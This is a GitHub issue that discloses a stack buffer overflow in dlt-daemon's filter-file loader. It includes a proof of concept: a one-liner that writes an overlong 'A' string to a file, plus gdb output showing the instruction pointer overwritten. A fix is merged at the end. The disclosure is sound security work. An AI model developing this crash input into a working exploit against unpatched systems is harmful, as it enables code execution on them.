New issue

Jump to bottom

# stack buffer overflow in dlt_filter_load #274

Closed gy741 opened this issue on Nov 27, 2020 · 0 comments · Fixed by #275

gy741 commented on Nov 27, 2020 Contributor

## Summary

An exploitable buffer overflow vulnerability exists in the dlt-daemon, A specially crafted Filter file can cause a buffer overflow, resulting in multiple corruptions and potentially code execution. An attacker can provide a specially crafted file to trigger this vulnerability.

## Details

A buffer overflow in the dlt_filter_load function in dlt_common.c in dlt-daemon allows arbitrary code execution via an unsafe usage of fscanf, because it does not limit the number of characters to be read in a format argument.

## Affected

1. dlt-receive
2. dlt-sortbytimestamp
3. dlt-convert

## PoC

```
python -c 'print "A"*318' > poc.txt

(gdb) r -f poc.txt localhost

Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
(gdb) i r
rax            0x0      0
rbx            0x4141414141414141       4702111234474983745
rcx            0x615280 6378112
rdx            0x7ffff7fea4c0   140737354048704
rsi            0x626118 6447384
rdi            0x7ffff7dcdfb8   140737351835576
rbp            0x4141414141414141       0x4141414141414141
rsp            0x7fffffffe130   0x7fffffffe130
r8             0x7ffff7fe9b80   140737354046336
r9             0xfffffffffffffffe       -2
r10            0x6      6
r11            0x206    518
r12            0x4141414141414141       4702111234474983745
r13            0x4141414141414141       4702111234474983745
r14            0x4141414141414141       4702111234474983745
r15            0x4141414141414141       4702111234474983745
rip            0x414141414141   0x414141414141
eflags         0x10202  [ IF RF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0
(gdb) x/x $rip
0x414141414141: Cannot access memory at address 0x414141414141
```

https://github.com/GENIVI/dlt-daemon/blob/e584855b2289fd8155b837f00f67343cc9cd8f66/src/shared/dlt_common.c#L383-L423

gy741 added a commit to gy741/dlt-daemon that referenced this issue on Nov 27, 2020

dlt_common: Fix buffer overflow in dlt_filter_load ··· 7f5cd54

gy741 mentioned this issue on Nov 27, 2020

**dlt_common: Fix buffer overflow in dlt_filter_load** #275

Merged

ssugiura closed this as completed in #275 on Nov 29, 2020

ssugiura pushed a commit that referenced this issue on Nov 29, 2020

dlt_common: Fix buffer overflow in dlt_filter_load (#275) ··· ✓ ff4f44c

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging a pull request may close this issue.

**dlt_common: Fix buffer overflow in dlt_filter_load**
gy741/dlt-daemon

1 participant